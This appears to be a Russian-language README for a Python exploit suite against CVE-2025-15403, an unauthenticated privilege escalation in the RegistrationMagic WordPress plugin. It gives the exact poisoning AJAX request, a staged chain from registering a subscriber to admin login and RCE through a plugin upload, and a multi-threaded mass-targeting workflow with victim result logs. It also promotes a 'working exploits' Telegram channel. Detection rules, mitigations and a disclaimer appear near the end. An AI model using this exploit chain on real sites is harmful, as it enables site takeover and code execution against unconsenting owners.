
RegistrationMagic <= 6.0.7.1 - Неаутентифицированное повышение привилегий через admin_order
RegistrationMagic <= 6.0.7.1 - Неаутентифицированное повышение привилегий через admin_order
,-. . , ,--. ,-. ,-. ,-. ;--' , ;--' ,. ,-. ,--,
/ | / | ) / /\ ) | '| | / | / /\ /
| | / |- --- / | / | / `-. --- | `-. '--| | / | `.
\ |/ | / \/ / / ) | ) | \/ / )
`-' ' `--' '--' `-' '--' `-' ' `-' ' `-' `-'
📡 Разведданные появляются здесь первыми. Подписывайтесь на @KNxploited в Telegram — точные раскрытия CVE, рабочие эксплойты и глубокие исследования уязвимостей. Канал для тех, кто не ждёт новостей, — они их создают.
CVE-2025-15403 — это критическая уязвимость (CVSS 9.8) повышения привилегий в плагине RegistrationMagic для WordPress.
Проблема кроется в функции add_menu плагина, доступ к которой открыт без аутентификации через AJAX-действие rm_user_exists. Внедряя пустой slug в параметр order вместе с флагом enable_admin_order=yes, атакующий манипулирует внутренней логикой генерации меню плагина. Когда впоследствии строится административное меню, плагин незаметно вызывает add_cap('manage_options') для целевой роли, повышая любую учётную запись уровня подписчика до полных административных привилегий.
Корневая причина — доступность функции add_menu без аутентификации через rm_user_exists в сочетании с полным отсутствием валидации slug admin_order:
// Registered with no capability check
add_action('wp_ajax_nopriv_rm_user_exists', [$this, 'rm_user_exists_handler']);
public function rm_user_exists_handler() {
$slug = sanitize_text_field($_POST['rm_slug']);
$order = $_POST['order']; // ← User-controlled, NOT sanitized
$role_key = /* derived from POST */;
$enable = $_POST['enable_admin_order'];
if ($slug === 'rm_options_admin_menu' && $enable === 'yes') {
// Stores attacker-controlled order into plugin options
update_option('rm_admin_order', $order); // e.g. ",menu1" → empty first slug
}
}
// Later, when admin menu is being built...
public function add_menu() {
$order = get_option('rm_admin_order'); // ← Poisoned by attacker
$slugs = explode(',', $order);
foreach ($slugs as $slug) {
if (empty($slug)) {
// Empty slug triggers unconditional capability grant
$role->add_cap('manage_options'); // ← FULL ADMIN CAPABILITY ADDED
}
}
}
Почему это критично:
wp_ajax_nopriv_* = для отравления опции не требуется аутентификация вообщеorder=,menu1 проходит проверку empty(), вызывая add_cap('manage_options')manage_options — высшая привилегия WordPress, эквивалентная роли администратора╔══════════════════════════════════════════════════════════════════════════╗
║ STAGE 1 — Unauthenticated Option Poisoning ║
╚══════════════════════════════════════════════════════════════════════════╝
POST /wp-admin/admin-ajax.php
action = rm_user_exists
rm_slug = rm_options_admin_menu
order = ,menu1 ← empty first element = empty slug
_Subscriber = 1 ← target role key
restore = false
enable_admin_order= yes
Response: HTTP 200 (any non-blocked response = option poisoned)
↓ Plugin stores order=",menu1" into wp_options
↓ Next admin menu build triggers add_cap('manage_options') on Subscriber role
╔══════════════════════════════════════════════════════════════════════════╗
║ STAGE 2 — Account Acquisition (Subscriber) ║
╚══════════════════════════════════════════════════════════════════════════╝
Option A — Register via the site's registration form (Mode 0):
GET /wp-login.php?action=register → smart form detection
POST → create subscriber account
Credentials: NXploited / xplpass123
Option B — Use an existing subscriber account.
╔══════════════════════════════════════════════════════════════════════════╗
║ STAGE 3 — Login + Capability Harvest ║
╚══════════════════════════════════════════════════════════════════════════╝
POST /wp-login.php
log = NXploited
pwd = xplpass123
↓
Subscriber account now carries manage_options → full admin panel accessible
╔══════════════════════════════════════════════════════════════════════════╗
║ STAGE 4 — Deep Verification & RCE via Plugin Upload ║
╚══════════════════════════════════════════════════════════════════════════╝
GET /wp-admin/ → Admin dashboard accessible ✔️
GET /wp-admin/plugin-install.php → Plugin install page accessible ✔️
POST /wp-admin/update.php?action=upload-plugin
pluginzip = Nxploited.zip → Plugin uploaded & executed ✔️
GET /wp-content/plugins/Nxploited/hello.php
Response contains "Nxploited" → CONFIRMED RCE ✔️
Этот набор эксплойтов предоставляет три различных режима, охватывающих полный жизненный цикл атаки:
pip install requests colorama urllib3
Требуется Python 3.8+. Рекомендуется Python 3.10+ (используются объединённые аннотации типов
X | Y).
CVE-2025-15403/
├── CVE-2025-15403.py # Main exploit suite
├── list.txt # Target URLs — one per line
│
├── rm_register_results.txt # Mode 0: successful registrations
├── rm_exploit_results.txt # Mode 1 & 2: primitive fire log
├── rm_admin_verify.txt # Mode 2: login + admin verification log
├── rm_plugin_uploads.txt # Mode 2: plugin upload attempt log
│
├── rm_admin_dashboard_success.txt # ✔ Sites where admin dashboard confirmed
├── rm_plugin_install_access.txt # ✔ Sites where plugin-install page accessible
└── rm_plugin_rce_success.txt # ✔ Sites where RCE via plugin upload confirmed
Три файла
_successвнизу отражают ступенчатые уровни компрометации — каждый записывается независимо, как только подтверждается его условие.
Создайте list.txt с одним URL или именем хоста на строку:
https://target1.com
https://target2.com
http://target3.com/wordpress
target4.com
Имена хостов без схемы автоматически получают префикс
https://. Установки WordPress в подкаталогах (например,/wordpress) обнаруживаются и обрабатываются автоматически.
python CVE-2025-15403.py
Скрипт интерактивно запросит все параметры. Пример сеанса для режима 2:
Select mode (0 = register, 1 = exploit, 2 = exploit+verify) [0]: 2
Targets list file (one host/URL per line) [list.txt]: list.txt
Threads (concurrent sites) [5]: 20
HTTP timeout (seconds) [10]: 12
Role key to escalate (e.g. _Subscriber, _Editor) [_Subscriber]: _Subscriber
Username to login with (e.g. NXploited) [NXploited]: NXploited
Password for that user [xplpass123]: xplpass123
Output file for admin verification [rm_admin_verify.txt]: rm_admin_verify.txt
Output file for plugin upload tests [rm_plugin_uploads.txt]: rm_plugin_uploads.txt
Send primitive before login in mode 2? (yes/no) [yes]: yes
[14:31:01] info | Mode 2: Exploit + Login + Deep Verify | Targets: 200
[14:31:02] SESSION | https://target.com | PRIM: OK | REG: SKIP | LOGIN: OK | ACCESS: admin_full_plugin_upload
[14:31:03] SESSION | https://target2.com | PRIM: OK | REG: SKIP | LOGIN: FAIL | ACCESS: bad_credentials
[14:31:04] SESSION | https://target3.com | PRIM: FAIL | REG: SKIP | LOGIN: - | ACCESS: NO HIT
rm_admin_dashboard_success.txtСайты, на которых учётная запись подписчика успешно получила доступ к /wp-admin/ после повышения привилегий:
[2025-04-18 14:31:02] https://victim.com - NXploited:xplpass123 - ADMIN_DASHBOARD - verify_admin_dashboard
rm_plugin_install_access.txtСайты, на которых страница установки плагинов была доступна (подтверждение manage_options):
[2025-04-18 14:31:02] https://victim.com - NXploited:xplpass123 - PLUGIN_INSTALL_ACCESS=https://victim.com/wp-admin/plugin-install.php?tab=upload - plugin-install-access
rm_plugin_rce_success.txtСайты, на которых тестовый плагин был загружен и выполнен — подтверждённый RCE:
[2025-04-18 14:31:05] https://victim.com - NXploited:xplpass123 - PLUGIN_RCE=https://victim.com/wp-content/plugins/Nxploited/hello.php - AdminUpload
Режим 2 выполняет трёхэтапную ступенчатую проверку — каждый этап независим и записывает собственный файл результатов:
Stage 1 — Admin Dashboard
GET /wp-admin/
GET /wp-admin/index.php
GET /wp-admin/users.php
Check for: "dashboard", "adminmenu", "manage_options", "plugins.php"
✔ → writes to rm_admin_dashboard_success.txt
Stage 2 — Plugin Install Page Access
GET /wp-admin/plugin-install.php
GET /wp-admin/plugin-install.php?tab=upload
Check for: "upload-plugin", "plugin-upload-form", "pluginzip"
✔ → writes to rm_plugin_install_access.txt
Stage 3 — Real Plugin Upload + Execution (RCE Proof)
Extract _wpnonce from plugin-install page
POST /wp-admin/update.php?action=upload-plugin
pluginzip = Nxploited.zip (in-memory generated)
GET /wp-content/plugins/Nxploited/hello.php
Check response body contains "Nxploited"
✔ → writes to rm_plugin_rce_success.txt
Каждый пройденный этап фиксируется независимо — цель, прошедшая этап 1, но не прошедшая этап 3, всё равно попадает в rm_admin_dashboard_success.txt.
Режим 0 использует собственный парсер HTML-форм для автоматического обнаружения и отправки форм регистрации WordPress, включая пользовательские формы RegistrationMagic:
Probe URLs (in order):
/wp-login.php?action=register
/register/
/signup/
/wp-signup.php
/wp-login.php
For each page:
→ Parse all <form> elements
→ Score each form (0–200 points):
+100 "user_login" + "user_email" fields present
+ 60 Email + username-like fields present
+ 30 rm_* prefixed input fields (RegistrationMagic specific)
+ 20 form id/class contains "register" / "signup"
+ 10 Page body mentions "register" / "sign up"
→ Submit highest-scoring form (threshold: 40+)
→ Verify success via response body / redirect URL
Сетевой паттерн, генерируемый эксплойтом, — для защитников и авторов WAF/IDS:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=rm_user_exists&rm_slug=rm_options_admin_menu&order=%2Cmenu1&_Subscriber=1&restore=false&enable_admin_order=yes
Правило WAF / IDS (псевдокод):
IF request.method == POST
AND request.path == "/wp-admin/admin-ajax.php"
AND request.body CONTAINS "rm_user_exists"
AND request.body CONTAINS "rm_options_admin_menu"
AND request.body CONTAINS "enable_admin_order=yes"
THEN BLOCK + ALERT (Privilege Escalation Attempt — CVE-2025-15403)
Дополнительное обнаружение — отравление опции:
Monitor wp_options table:
IF option_name = "rm_admin_order"
AND option_value STARTS WITH ","
THEN ALERT — potential CVE-2025-15403 exploitation
Если вы владелец сайта, разработчик или защитник, действуйте немедленно:
wp_options — поищите подозрительные значения rm_admin_order (например, начинающиеся с ,)manage_optionswp_ajax_nopriv_* — никогда не открывайте функции записи опций без аутентификацииorder — отклоняйте значения, содержащие пустые сегменты slugadmin-ajax.php, содержащие rm_options_admin_menurm_user_exists из неаутентифицированных источниковTHIS TOOL IS PROVIDED STRICTLY FOR EDUCATIONAL, AUTHORIZED PENETRATION
TESTING, AND SECURITY RESEARCH PURPOSES ONLY.
By downloading, executing, or modifying this script, you explicitly agree:
• You hold EXPLICIT, WRITTEN authorization from the owner of every
target system you test. No exceptions. No assumptions.
• You are operating within a formally scoped, authorized penetration
testing engagement or a controlled lab environment you own.
• You will NOT deploy this tool against any system, network, or
infrastructure without documented legal permission.
• Nxploited and all contributors bear ZERO liability for unauthorized
use, data loss, system damage, legal proceedings, or criminal
prosecution arising from the use of this tool in any form.
Unauthorized use of this exploit constitutes a criminal offense under:
— Computer Fraud and Abuse Act (CFAA), USA
— Computer Misuse Act (CMA), UK
— EU Directive 2013/40/EU on Attacks Against Information Systems
— Saudi Arabia's Anti-Cyber Crime Law (No. M/17)
— And all equivalent national and international cybercrime legislation.
USE RESPONSIBLY. HACK ETHICALLY. DISCLOSE RESPONSIBLY.
| Псевдоним | Nxploited |
| Telegram | @KNxploited |
| GitHub | github.com/Nxploited |
🔔 Подписывайтесь на @KNxploited в Telegram Свежие CVE. Рабочие эксплойты. Без шума. Без задержек. Канал, где серьёзные исследователи не теряют хватку.
| Поле | Детали |
|---|
| CVE ID | CVE-2025-15403 |
| Плагин | RegistrationMagic |
| Slug | registrationmagic / custom-registration-form-builder-with-submission-manager |
| Затронутые версии | Все версии вплоть до 6.0.7.1 включительно |
| Тип уязвимости | Неаутентифицированное повышение привилегий |
| Требования к атаке | Этап AJAX: не требуется. Эксплуатация: учётная запись подписчика |
| Вектор атаки | Сеть |
| Оценка CVSS 3.1 | 9.8 КРИТИЧЕСКИЙ |
| Вектор CVSS | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Воздействие | Полный захват прав администратора WordPress |
| Исследователь | Nxploited |
| Режим | Название | Описание |
|---|
0 | Только регистрация | Умное обнаружение форм WordPress + регистрация учётной записи подписчика |
1 | Только эксплойт | Запускает неаутентифицированный AJAX-примитив для отравления admin_order |
2 | Эксплойт + вход + проверка | Полная цепочка: примитив → вход → админ-панель → установка плагина → RCE |
| Зависимость | Назначение |
|---|
requests | HTTP-сессии, обработка cookie, отслеживание редиректов |
colorama | Кроссплатформенный цветной вывод в терминал |
urllib3 | Подавление предупреждений SSL для самоподписанных сертификатов |
concurrent.futures | Пул потоков для высокопроизводительного сканирования множества целей |
zipfile | Генерация ZIP-архива тестового плагина в памяти для проверки RCE |
html.parser | Умное обнаружение форм регистрации и извлечение полей |
| Цвет | Тег | Значение |
|---|
| 🔵 Голубой | info | Информация — запуск режима, конфигурация |
| 🟢 Зелёный | ok | Полный успех — подтверждены доступ администратора или RCE |
| 🟡 Жёлтый | warn | Частичный результат — примитив сработал, но вход не удался и т.п. |
| 🔴 Красный | err | Критическая ошибка — файл не найден, исключение, блокировка |
| Параметр | По умолчанию | Описание |
|---|
| Режим | 0 | Режим атаки: 0 = регистрация, 1 = эксплойт, 2 = полная цепочка |
| Файл целей | list.txt | Файл, содержащий URL-адреса целей |
| Потоки | 5 (без жёсткого максимума) | Одновременные рабочие потоки ThreadPoolExecutor |
| Таймаут | 10 секунд | HTTP-таймаут на один запрос |
| Ключ роли | _Subscriber | Роль WordPress для повышения привилегий (_Editor, _Author и т.д.) |
| Имя пользователя | NXploited | Учётная запись для регистрации / входа |
| Пароль | xplpass123 | Пароль для учётной записи |
| Отправка примитива | yes | Запускать ли AJAX-этап перед входом в режиме 2 |